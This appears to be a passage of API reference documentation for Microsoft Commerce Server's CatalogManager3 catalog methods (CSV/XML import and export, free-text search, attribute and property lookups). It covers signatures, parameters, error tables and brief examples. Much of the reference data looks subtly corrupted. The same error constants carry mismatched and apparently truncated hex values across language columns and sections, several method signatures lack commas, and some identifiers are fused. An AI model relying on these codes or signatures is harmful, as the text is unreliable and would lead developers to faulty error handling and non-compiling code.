[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub ExportCSV(
  strCSVDestination As String,
  strCatalogToExport As String
  Optional fRunSynchronously As Boolean,
  Optional strLang As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void ExportCSV(
  string strCSVDestination,
  string strCatalogToExport
  bool fRunSynchronously,
  string strLang
);

Parameters

[Visual Basic .NET]
strCSVDestination
A String that contains the full path and file name of the export file to be created.
strCatalogToExport
A String that contains the name of the catalog to export.
fRunSynchronously
A Boolean that specifies whether the method should be run synchronously. A value of True indicates that the method will not return until the export is completed. A value of False indicates that the method will return immediately after spawning the export thread. The default value is False.
strLang
A String that contains the ISO 639+1 language identifier.
[C#]
strCSVDestination
A string that contains the full path and file name of the export file to be created.
strCatalogToExport
A string that contains the name of the catalog to export.
fRunSynchronously
A bool that specifies whether the method should be run synchronously. A value of True indicates that the method will not return until the export is completed. A value of False indicates that the method will return immediately after spawning the export thread.
strLang
A string that contains the ISO 639+1 language identifier.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_CATALOGNAME | [C#] 0x8898006 [Visual Basic .NET] &H8898003 | The Catalog Name you specified is invalid. Catalog names cannot be blank
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C#] 0x8898004 [Visual Basic .NET] &H8898002 | The Catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C#] 0x8898003 [Visual Basic .NET] &H889800D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. which should not be used.
E_CAT_INVALID_LANGUAGE | [C#] 0x8898009 [Visual Basic .NET] &H889800E | The value you specified for the Language parameter is either empty or exceeds the maximum length of 10 characters.
E_CAT_FILE_CREATION_FAILED | [C#] 0x8898001 [Visual Basic .NET] &H8898008 | The Catalog Export operation was unable to create the file you specified. Check that the file name you specified is valid and the directory that you specified exists and is not read-only.
E_CAT_IMPORT_IN_PROGRESS | [C#] 0x8898002 [Visual Basic .NET] &H8898005 | This operation cannot be started because an import operation is currently in progress.

Remarks

The ExportCSV method can be used to output product data from the Product Catalog System in a format that can be used in other programs, such as Microsoft Excel.

This method can output product data from only one catalog at a time.

The comma-separated values (CSV) file generated only contains products. The categories, relationships, and hierarchy are not written to the CSV file.

Notes

  • This method runs in a separate thread. Prior to spawning the thread, it checks that there is not an existing ExportCSV, ExportXML, ImportCSV or ImportXML method in progress. Once the new thread is spawned, this method returns immediately, if fRunSynchronously is False, with no errors. Any errors that occurred while importing the catalog are logged to the Windows NT Event Log. Use the Windows Event Viewer to view the Windows NT Event Log.
  • If there is a temporary loss of the SQL Server connection, longer than two minutes, an import or export will be aborted. Other methods should work after the interruption.

Caution

  • Changes made to the catalog while an export is in progress may or may not be reflected in the output file. Additions and deletions made during the export could result in a corrupt file. Changes should be avoided during an export.
[Visual Basic .NET]

Example

myCatalogManager.ExportCSV("c:\exports\ourcatalog.csv", "OurStore")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.ExportXML

CatalogManager3.ImportCSV


CatalogManager3.ExportXML Method (PIA)

Use this method to export catalog data to an Extensible Markup Language (XML) file.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub ExportXML(
  vrXML As Object,
  Optional strCatalogsToExport As Object
  Optional fRunSynchronously As Boolean
  Optional eXMLFmt As CatalogXMLFmtEnum
  Optional strLang As String,
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void ExportXML(
  Object vrXML,
  object strCatalogsToExport,
  bool fRunSynchronously
  CatalogXMLFmtEnum eXMLFmt
  string strLang,
);

Parameters

[Visual Basic .NET]
vrXML
An Object that contains the XML file name or IStream object that is the target of the export.
strCatalogsToExport
An Object that contains the catalogs to export. See the Remarks section for more information.
fRunSynchronously
A Boolean that specifies whether the method should be run synchronously. A value of True indicates that the method will not return until the export is completed. A value of False indicates that the method will return immediately after spawning the export thread. The default value is False.
eXMLFmt
A CatalogXMLFmtEnum enumeration that specifies the XML format. See the Remarks section for valid values.
strLang
A String that contains the language identifier.
[C#]
vrXML
An Object that contains the XML file name or IStream object that is the target of the export.
strCatalogsToExport
An object that contains the catalogs to export. See the Remarks section for more information. To export all catalogs, specify Type.Missing.
fRunSynchronously
A bool that specifies whether the method should be run synchronously. A value of True indicates that the method will not return until the export is completed. A value of False indicates that the method will return immediately after spawning the export thread.
eXMLFmt
A CatalogXMLFmtEnum enumeration that specifies the XML format. See the Remarks section for valid values.
strLang
A string that contains the language identifier.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_IMPORT_IN_PROGRESS | [C#] 0x88980025 [Visual Basic .NET] &H88980025 | There was an existing import method call that had not yet completed. This method cannot run while an import is in progress.
E_CAT_FILE_CREATION_FAILED | [C#] 0x88980018 [Visual Basic .NET] &H88980018 | The method was unable to create the output file.

Remarks

If the parameter strCatalogsToExport is missing, or contains an empty string, then all catalogs are exported. Otherwise the parameter strCatalogsToExport is a comma-separated list of catalog names to be exported.

If the strLang parameter is not specified, then data will be exported in all the languages supported by the catalog. If the strLang parameter is specified, then multilingual data will be exported only in the specified language.

The following table shows the values in the CatalogXMLFmtEnum enumeration, and shows their associated names, and describes their use.

Name | Value | Description
cscFmtElementCentric | 0 | Export in Commerce Server 2000 format. (Default)
cscFmtAttributeCentric | 1 | Export in Commerce Server 2002 format.
cscFmtXDR | 2 | Export the Commerce Server 2002 schema as XML Data Reduced (XDR). (No data)

Notes

  • This method runs in a separate thread. Prior to spawning the thread, it checks that there is not an existing ExportCSV, ExportXML, ImportCSV or ImportXML method in progress. Once the new thread is spawned, this method returns immediately, if fRunSynchronously is False, with no errors. Any errors that occurred while importing the catalog are logged to the Windows NT Event Log. Use the Windows Event Viewer to view the Windows NT Event Log.
  • If there is a temporary loss of the SQL Server connection, longer than two minutes, an import or export will be aborted. Other methods should work after the interruption.

Caution

  • Changes made to the catalog while an export is in progress may or may not be reflected in the output file. Additions and deletions made during the export could result in a corrupt file. Changes should be avoided during an export.
[Visual Basic .NET]

Example

myCatalogManager.ExportXML("c:\exports\ourcatalog.xml", "OurStore", 1, "en-US")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.ExportCSV

CatalogManager3.ImportXML


CatalogManager3.FreeTextSearch Method (PIA)

Use this method to perform a free-text search of catalogs.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Function FreeTextSearch(
  strPhrase As String,
  Optional strCatalogsToSearch As Object,
  Optional eClassTypeRequired As Object,
  Optional strPropertiesToReturn As Object,
  Optional strPropertyToSortOn As Object,
  Optional fSortAscending As Boolean,
  Optional lStartingRecord As Object,
  Optional lRecordsToRetrieve As Object,
  ByRef Optional plTotalRecordsInQuery As Object
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset FreeTextSearch(
  string strPhrase,
  object strCatalogsToSearch,
  object eClassTypeRequired,
  object strPropertiesToReturn,
  object strPropertyToSortOn,
  bool fSortAscending,
  object lStartingRecord,
  object lRecordsToRetrieve,
  ref objectplTotalRecordsInQuery
);

Parameters

[Visual Basic .NET]
strPhrase
A String that contains the search phrase.
strCatalogsToSearch
An Object that contains the catalogs to search in a comma-separated list. An empty string indicates search all catalogs.
eClassTypeRequired
An Object that contains the catalog class desired. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section below.
strPropertiesToReturn
An Object that contains the properties to return. This is a comma-delimited String.
strPropertyToSortOn
An Object that contains the property on which to sort. If not included, the returned recordset will be unsorted.
fSortAscending
A Boolean that specifies whether to sort in ascending or descending order. A value of True indicates that the returned recordset will be sorted in ascending order. A value of False indicates that the returned recordset will be sorted in descending order. The default value is True.
lStartingRecord
An Object that contains the number of the starting record to retrieve. This is an offset from the first record.
lRecordsToRetrieve
An Object that contains the number of records to retrieve starting from the starting record.
plTotalRecordsInQuery
An Object used to return the number of records returned in the search.
[C#]
strPhrase
A string that contains the search phrase.
strCatalogsToSearch
An object that contains the catalogs to search in a comma-separated list. An empty string indicates search all catalogs.
eClassTypeRequired
An object that contains the catalog class desired. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section. Optionally, specify no catalog class by setting this to Type.Missing.
strPropertiesToReturn
An object that contains the properties to return. This is a comma-delimited String. Optionally, if a single catalog is specified, specify all properties by setting this to Type.Missing.
strPropertyToSortOn
An object that contains the property on which to sort. Specify Type.Missing to return an unsorted Recordset.
fSortAscending
A bool that specifies whether to sort in ascending or descending order. A value of True indicates that the returned Recordset will be sorted in ascending order. A value of False indicates that the returned Recordset will be sorted in descending order.
lStartingRecord
An object that contains the number of the starting record to retrieve. This is an offset from the first record. Specify Type.Missing to return all records.
lRecordsToRetrieve
An object that contains the number of records to retrieve starting from the starting record. Specify Type.Missing to return all records.
plTotalRecordsInQuery
An object used to return the number of records returned in the search.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the _Recordset interface to a Recordset object that contains the search results.

[C#] This method returns the _Recordset interface to a Recordset object that will be used to return the query results.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B [Visual Basic .NET] &H8898007 | The recordset pointer that you specified is invalid
E_INVALIDARG | [C#] 0x8007005 [Visual Basic .NET] &H8007007 | One or more arguments are invalid
E_CAT_INVALID_RETURN_PROPS | [C#] 0x8898011 [Visual Basic .NET] &H889801D | The Properties to return that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.
E_CAT_INVALID_SORT_PROPS | [C#] 0x8898011 [Visual Basic .NET] &H889801E | The Properties to sort that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.
S_FALSE | 1 | Error. The recordset will be set to NULL.
E_CAT_MULTI_CAT_QUERY_NEEDS_PROPS | [C#] 0x8898000 [Visual Basic .NET] &H889800F | When performing a query against multiple Catalogs, you should specify the actual properties to return.

Remarks

The plTotalRecordsInQuery parameter and returned interface contain valid data only if the method completes successfully.

The FreeTextSearch method is used to perform arbitrary lexical comparisons on words or phrases in one or more catalogs. The FreeTextSearch functionality in the Product Catalog System is based on full text indexing in Microsoft SQL Server 2000, and therefore inherits keywords and operators from SQL Server 2000 for controlling the free text search.

The following table shows the values of the CatalogClassTypeEnum enumeration, and shows their associated names, and describes their use.

Name | Value | Description
cscCategoryClass | 1 | Requests category data.
cscProductVariantClass | 2 | Requests product variant data.
cscProductClass | 4 | Requests product data.
cscProductFamilyClass | 8 | Requests product family data.
CscProductFamilyForVariantsClass | 16 | Requests family for variant data, which means the product family of a product variant is being requested.
CscProductVariantsForFamily | 32 | Requests variants for family data, which means that all of the product variants for a product family are being requested.

CatalogClassTypeEnum enumeration values can be combined in the eClassTypeRequired parameter with logical OR operators, so that specifying cscProductClass OR cscProductVariantClass will return both product and product variant data.

The programming rules regarding the strPropertiesToReturn parameter vary depending on whether a single catalog name is passed in the strCatalogsToSearch parameter or whether multiple catalog names are passed. When a single catalog name is passed, the strPropertiesToReturn parameter is optional and defaults to all properties. When multiple catalog names are passed, the strPropertiesToReturn parameter is required.

If no value is specified for the strPropertiesToReturn parameter the method returns all fields in the specified catalog, otherwise it returns only the fields specified in the strPropertiesToReturn parameter.

For more information, see CatalogProduct Recordset.

[Visual Basic .NET]

Example

'rsFTSResults is a recordset object
'plTotalRecordsInQuery is an Object.
'Check it after the method returns for the
'total number of records that match the query.
rsFTSResults = myCatalogManager.FreeTextSearch( _
  "red ribbons", "Craft Supplies", "", "Price", _
  True, 0, 20, plTotalRecordsInQuery)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.Query


CatalogManager3.GetAttributes Method (PIA)

Use this method to retrieve the catalog or property attributes in the Product Catalog System.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function GetAttributes(
  eAttributeType As CatalogAttributesEnum,
  Optional fUserDefinedOnly As Boolean
) As Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetAttributes(
  CatalogAttributeEnum eAttributeType,
  Boolean fUserDefinedOnly
);

Parameters

[Visual Basic .NET]
eAttributeType
A CatalogAttributesEnum enumeration that specifies whether to return catalog or property attributes. See the Remarks section for valid values.
fUserDefinedOnly
A Boolean that specifies whether to return only user-defined attributes. A value of True specifies returning only user-defined attributes. A value of False specifies returning all attributes. The default value is True.
[C#]
eAttributeType
A CatalogAttributesEnum enumeration that specifies whether to return catalog or property attributes. See the Remarks section for valid values.
fUserDefinedOnly
A Boolean that specifies whether to return only user-defined attributes. A value of True specifies returning only user-defined attributes. A value of False specifies returning all attributes. The default value is True.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a Recordset object that contains the properties of the specified definition.

[C#] This method returns an ADODB26Lib._Recordset interface to a Recordset object used to return the properties of the definition.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B [Visual Basic .NET] &H8898007 | The recordset pointer that you specified is invalid
E_CAT_INVALID_PARAMETER | [C#] 0x889800B [Visual Basic .NET] &H8898006 | The input parameter <parameter number> is invalid.

Remarks

The following table shows the values in the CatalogAttributesEnum enumeration, and shows their associated names, and describes their use.

Name | Value | Description
cscPropertyAttributes | 0 | Returns property attributes.
cscCatalogAttributes | 1 | Returns catalog attributes.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class


CatalogManager3.GetCatalog Method (PIA)

Use this method to retrieve a specified catalog from the Product Catalog System.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Function GetCatalog(
  strCatalogName As String
) As IProductCatalog
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public IProductCatalog GetCatalog(
  string strCatalogName
);

Parameters

[Visual Basic .NET]
strCatalogName
A String that contains the name of the catalog to be retrieved.
[C#]
strCatalogName
A string that contains the name of the catalog to be retrieved.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the IProductCatalog interface of the ProductCatalog object that contains the catalog specified.

[C#] This method returns the IProductCatalog interface used to return the ProductCatalog object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B5 [Visual Basic .NET] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method
E_CAT_INVALID_CATALOGNAME | [C#] 0x88980063 [Visual Basic .NET] &H88980063 | The Catalog Name you specified is invalid. Catalog names cannot be blank
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C#] 0x88980042 [Visual Basic .NET] &H88980042 | The Catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C#] 0x8898003D [Visual Basic .NET] &H8898003D | The catalog name you specified has one of the nine reserved characters: " [ ] , ' ( )#. These characters should not be used.
S_FALSE | [C#] 0x0000001 [Visual Basic .NET] &H0000001 | The catalog does not exist

Remarks

The ProductCatalog object contains valid data only if the method completes successfully.

[Visual Basic .NET]

Example

oCatalog = myCatalogManager.GetCatalog("Cdcatalog")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.CreateCatalog

CatalogManager3.DeleteCatalog


CatalogManager3.GetDefinitionProperties Method (PIA)

Use this method to return the properties of the specified catalog or product definition.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function GetDefinitionProperties(
  strDefinitionName As String
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetDefinitionProperties(
  string strDefinitionName
);

Parameters

[Visual Basic .NET]
strDefinitionName
A String that contains the name of the definition whose properties will be returned.
[C#]
strDefinitionName
A string that contains the name of the definition whose properties will be returned.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a Recordset object that contains the properties of the specified definition.

[C#] This method returns an ADODB26Lib._Recordset interface to a Recordset object used to return the properties of the definition.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B [Visual Basic .NET] &H8898007 | The recordset pointer that you specified is invalid.
E_CAT_INVALID_DEFINITION_LENGTH | [C#] 0x889800E [Visual Basic .NET] &H889800A | The definition name that you specified is invalid. Definition names should be between 1 and 128 characters in length.
E_CAT_DEFINITION_DOESNT_EXIST | [C#] 0x8898000 [Visual Basic .NET] &H889800B | The Definition you specified does not exist.

Remarks

The recordset returned by this method contains valid data only if the method completes successfully.

The returned Recordset contains the following fields:

Field | Data Type | Description
DefinitionID | Integer | The number that uniquely identifies the definition.
PropertyName | String, 256 characters | None
PropertyOrder | Integer | None
PropertyType | Integer | Zero (0) indicates product or category, one (1) indicates product variant.
TimeStamp | Timestamp | None

The rows of the Recordset are sorted on the PropertyOrder field.

[Visual Basic .NET]

Example

rsDefProps = myCatalogManager.GetDefinitionProperties("T-Shirts")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.AddDefinitionProperty

CatalogManager3.AddDefinitionVariantProperty

CatalogManager3.RemoveDefinitionProperty


CatalogManager3.GetPropertyAttributes Method (PIA)

Use this method to return the attributes of the specified property.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function GetPropertyAttributes(
  strPropertyName As String
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetPropertyAttributes(
  string strPropertyName
);

Parameters

[Visual Basic .NET]
strPropertyName
A String that contains the name of the property whose attributes will be returned.
[C#]
strPropertyName
A string that contains the name of the property whose attributes will be returned.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a Recordset object that contains the list of attributes for the specified property

[C#] This method returns a _ADODB26Lib._Recordset interface to a Recordset object used to return the attributes of the property.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table describes the exceptions that COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B [Visual Basic .NET] &H8898007 | The recordset pointer that you specified is invalid
E_CAT_INVALID_PROPERTY_NAME | [C#] 0x889800A [Visual Basic .NET] &H8898002 | The PropertyName you specified is invalid. property Names cannot be blank and cannot exceed 100 characters. property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]

Remarks

The recordset returned by this method contains valid data only if the method completes successfully.

This method returns a single-row Recordset object containing the requested property. For more information about the fields in this Recordset object, see PropertyAttribute Recordset.

[Visual Basic .NET]

Example

rsPropAttribs = myCatalogManager.GetPropertyAttributes("Size")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.SetPropertyAttributes


CatalogManager3.GetPropertyValues Method (PIA)

Use this method to return the list of values defined for an enumeration property.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function GetPropertyValues(
  strPropertyName As String
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset GetPropertyValues(
  string strPropertyName
);

Parameters

[Visual Basic .NET]
strPropertyName
A String that contains the name of the enumeration property for which the defined values will be returned.
[C#]
strPropertyName
A string that contains the name of the enumeration property for which the defined values will be returned.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the _Recordset interface to a Recordset object that contains the defined values in the enumeration.

[C#] This method returns a _ADODB26Lib._Recordset interface to a Recordset object used to return the property values.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B [Visual Basic .NET] &H8898007 | The recordset pointer that you specified is invalid.
E_CAT_INVALID_PROPERTY_NAME | [C#] 0x889800A [Visual Basic .NET] &H8898002 | The property name you specified is invalid. Property names cannot be blank and cannot exceed 100 characters. Property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]

Remarks

[Visual Basic .NET] The returned recordset contains valid data only if the method completes successfully.

[C#] The returned interface is associated with valid data only if the method completes successfully.

The returned Recordset contains the following fields:

Field | Data Type | Description
PropertyName | String 256 characters | None
Value | String 256 characters | None
[Visual Basic .NET]

Example

rsEnumValues = myCatalogManager.GetPropertyValues("Color")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.AddPropertyValue

CatalogManager3.RemovePropertyValue


CatalogManager3.ImportCSV Method (PIA)

Use this method to import a comma-separated-values (CSV) format file as catalog data.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub ImportCSV(
  strCSVFileSource As String,
  strProductIDColumnName As String,
  strPriceColumnName As String,
  strCatalogName As String,
  Optional fUpdateOnly As Boolean
  Optional fRunSynchronously As Boolean
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
 public void ImportCSV(
  string strCSVFileSource,
  string strProductIDColumnName,
  string strPriceColumnName,
  string strCatalogName,
  bool fUpdateOnly,
  bool fRunSynchronously
);

Parameters

[Visual Basic .NET]
strCSVFileSource
A String that contains the path and file name of the CSV file to import.
strProductIDColumnName
A String that contains the name of the column that provides a unique ID for products to be imported into the catalog.
strPriceColumnName
A String that contains the name of the column in the CSV file containing the product prices.
strCatalogName
A String that contains the name of the catalog into which the CSV file will be imported. The name of the catalog cannot begin with "#" or consist solely of spaces.
fUpdateOnly
A Boolean that specifies whether to update an existing catalog or create a new one. A value of True indicates that if the system contains a catalog whose name is the same as the one specified in the strCatalogName parameter, it will be updated with the imported data. A value of False indicates to delete the catalog if it already exists and create a new one with the imported data. The default value is False.
fRunSynchronously
A Boolean that specifies whether the method should be run synchronously. A value of True indicates that the method will not return until the import is completed. A value of False indicates that the method will return immediately after spawning the import thread. The default value is False.
[C#]
strCSVFileSource
A string that contains the path and file name of the CSV file to import.
strProductIDColumnName
A string that contains the name of the column that provides a unique ID for products to be imported into the catalog.
strPriceColumnName
A string that contains the name of the column in the CSV file containing the product prices.
strCatalogName
A string that contains the name of the catalog into which the CSV file will be imported. The name of the catalog cannot begin with "#" or consist solely of spaces.
fUpdateOnly
A bool that specifies whether to update an existing catalog or create a new one. A value of True indicates that if the system contains a catalog whose name is the same as the one specified in the strCatalogName parameter, it will be updated with the imported data. A value of False indicates to delete the catalog if it already exists and create a new one with the imported data.
fRunSynchronously
A bool that specifies whether the method should be run synchronously. A value of True indicates that the method will not return until the import is completed. A value of False indicates that the method will return immediately after spawning the import thread.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B5 [Visual Basic .NET] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_CATALOGNAME | [C#] 0x88980063 [Visual Basic .NET] &H88980063 | The Catalog name you specified is invalid. Catalog names cannot be blank.
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C#] 0x88980042 [Visual Basic .NET] &H88980042 | The Catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C#] 0x8898003D [Visual Basic .NET] &H8898003D | The catalog name you specified has one of the nine reserved characters " [ ] , ' ( )#. which should not be used.
E_CAT_INVALID_LANGUAGE | [C#] 0x8898009E [Visual Basic .NET] &H8898009E | The value you specified for the Language parameter is either empty or exceeds the maximum length of 10 characters.
E_CAT_INVALID_PROPERTY_NAME | [C#] 0x889800A2 [Visual Basic .NET] &H889800A2 | The property name you specified is invalid. Property names cannot be blank and cannot exceed 100 characters. Property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_FILE_OPEN_ERROR | [C#] 0x88980020 [Visual Basic .NET] &H88980020 | Unable to open the file . Check that the file exists and you have the necessary permissions on the file.
E_CAT_IMPORT_IN_PROGRESS | [C#] 0x88980025 [Visual Basic .NET] &H88980025 | This operation cannot be started because an import operation is currently in progress.
E_CAT_CONFLICTING_PRODUCTID | [C#] 0x88980113 [Visual Basic .NET] &H88980113 | The ProductID property you specified for this Catalog does not match the existing PrIoductID property. When importing a catalog in the update mode the ProductID property should match the existing ProductID property

Remarks

If the parameter strCatalogName specifies a catalog that does not exist, a new catalog will be created and the value of the fUpdateOnly parameter is ignored.

The ImportCSV method is used to bring existing data from a wide variety of sources into the Product Catalog System. The CSV file must conform to the following format:

  • The first row of data consists of column names, separated by commas. Rows are delimited by new lines in the text file.
  • Each subsequent row (called a data row) must have the same number of commas as the very first row. In other words, all columns in the CSV must be defined by the first row.
  • All items in the CSV file (one row per item) are assumed to be products, and are created from a common product definition. If no product definition exists in the destination catalog then one will be created during the import process.
  • Each item must specify a value for the column specified as the ProductID column, as well as for the column specified as the Price column.
  • Missing data is represented by two adjacent commas.

Notes

  • This method runs in a separate thread. Prior to spawning the thread, it checks that the specified file can be opened and that there is not an existing ExportCSV, ExportXML, ImportCSV or ImportXML method in progress. Once the new thread is spawned, this method returns immediately, if fRunSynchronously is False, with no errors. Any errors that occurred while importing the catalog are logged to the Windows NT Event Log. Use the Windows Event Viewer to view the Windows NT Event Log.
  • This method cannot be called in a transacted object. This method involves the creation, deletion, or updating of free text indexes. SQL Server does not allow these operations in a transaction.
  • If there is a temporary loss of the SQL Server connection, longer than two minutes, an import or export will be aborted. Other methods should work after the interruption.
[Visual Basic .NET]

Example

myCatalogManager.ImportCSV( _
  "c:\imports\ourcatalog.csv", "SKU", "Price", _
  "OurCatalog", True)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.ExportCSV

CatalogManager3.ImportXML


CatalogManager3.ImportXML Method (PIA)

Use this method to import an Extensible Markup Language (XML) file as catalog data.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub ImportXML(
  vrXML As Object,
  Optional fUpdateOnly As Boolean
  Optional fRunSynchronously As Boolean,
  Optional fGenerateFullTextIndexes As Boolean
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void ImportXML(
  object vrXML,
  bool fUpdateOnly
  bool fRunSynchronously,
  bool fGenerateFullTextIndexes
);

Parameters

[Visual Basic .NET]
vrXML
An Object that contains the XML file name or IStream object that is the target of the import.
fUpdateOnly
A Boolean that specifies whether to update an existing catalog or create a new one. A value of True indicates that if the system contains a catalog whose name is the same as the one specified in the strCatalogName parameter, it will be updated with the imported data. A value of False indicates to delete the catalog if it already exists and create a new one with the imported data. The default is False.
fRunSynchronously
